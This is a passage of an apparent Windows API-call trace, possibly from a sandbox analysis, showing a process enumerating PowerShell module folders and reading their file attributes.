ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.880] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0159.881] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout", nBufferLength=0x3f, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout", lpFilePart=0x0) returned 0x3e [0159.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.881] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\startlayout"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3b3e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.881] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0159.881] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x3b, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", lpFilePart=0x0) returned 0x3a [0159.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.881] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\storage"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c4795, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eadc202, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.881] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0159.881] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", nBufferLength=0x37, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", lpFilePart=0x0) returned 0x36 [0159.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.882] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.882] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0159.882] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0159.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.882] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c6b67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.882] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0159.882] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", nBufferLength=0x49, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", lpFilePart=0x0) returned 0x48 [0159.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.882] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\trustedplatformmodule"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.883] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0159.883] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x37, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", lpFilePart=0x0) returned 0x36 [0159.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.883] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfc9ca45b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.883] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0159.883] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", lpFilePart=0x0) returned 0x3c [0159.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.883] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\vpnclient"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.883] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0159.883] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", nBufferLength=0x38, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", lpFilePart=0x0) returned 0x37 [0159.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.884] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\wdac"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca67fa6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.884] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0159.884] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", nBufferLength=0x4b, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", lpFilePart=0x0) returned 0x4a [0159.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.884] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsdeveloperlicense"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca68f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.884] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0159.884] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x49, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", lpFilePart=0x0) returned 0x48 [0159.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.884] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca69a5d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.885] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0159.885] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch", nBufferLength=0x41, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch", lpFilePart=0x0) returned 0x40 [0159.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.885] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowssearch"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.885] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0159.885] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", nBufferLength=0x41, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", lpFilePart=0x0) returned 0x40 [0159.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.885] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsupdate"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca6b8d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb286c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0159.886] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0159.886] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0159.886] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2a24e90 [0159.886] FindNextFileW (in: hFindFile=0x1cbf2a24e90, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.886] FindNextFileW (in: hFindFile=0x1cbf2a24e90, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0159.887] FindNextFileW (in: hFindFile=0x1cbf2a24e90, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0159.887] FindNextFileW (in: hFindFile=0x1cbf2a24e90, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0159.887] FindClose (in: hFindFile=0x1cbf2a24e90 | out: hFindFile=0x1cbf2a24e90) returned 1 [0159.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0159.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0159.887] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0159.887] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0159.887] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0159.888] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0159.888] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0159.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0159.888] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdabb7528 | out: lpFileInformation=0x1cbdabb7528*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0159.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0159.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0159.888] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0159.888] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0159.888] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc1b1554, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2a247d0 [0159.889] FindNextFileW (in: hFindFile=0x1cbf2a247d0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc1b1554, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.889] FindNextFileW (in: hFindFile=0x1cbf2a247d0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e33b205, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e33b205, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e33b205, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 1 [0159.889] FindNextFileW (in: hFindFile=0x1cbf2a247d0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e33b205, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e33b205, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e33b205, 